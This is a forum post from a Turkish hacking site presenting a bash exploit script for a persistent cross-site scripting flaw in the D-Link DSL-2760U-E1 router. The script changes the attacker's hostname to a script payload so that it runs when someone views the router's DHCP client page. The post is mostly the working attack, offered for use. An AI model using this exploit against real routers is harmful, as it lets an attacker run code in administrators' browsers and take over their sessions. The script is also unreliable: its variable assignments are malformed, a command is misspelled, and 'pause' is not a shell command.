D-link DSL-2760U-E1 - Persistent XSS

25 May 2014
112
0
pwd
Kod:
#!/bin/bash
 
# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname, 
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. 
 
# Checks if you are root
if [ "$(id -u)" != "0" ]; then
    echo "Please execute this script as root"
    exit 1
fi 
 
# You're XSS here
xss = "\"**********alert('pwned');</script>"
 
# backup current hostname
currhost = `hostname`
 
# Bannering
echo ""
echo "      D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""
 
# Change hostname to XSS
sudo hosname $xss
 
# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost

Exploit Adress : D-link DSL-2760U-E1 - Persistent XSS

Selametle / DeFaCeR
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.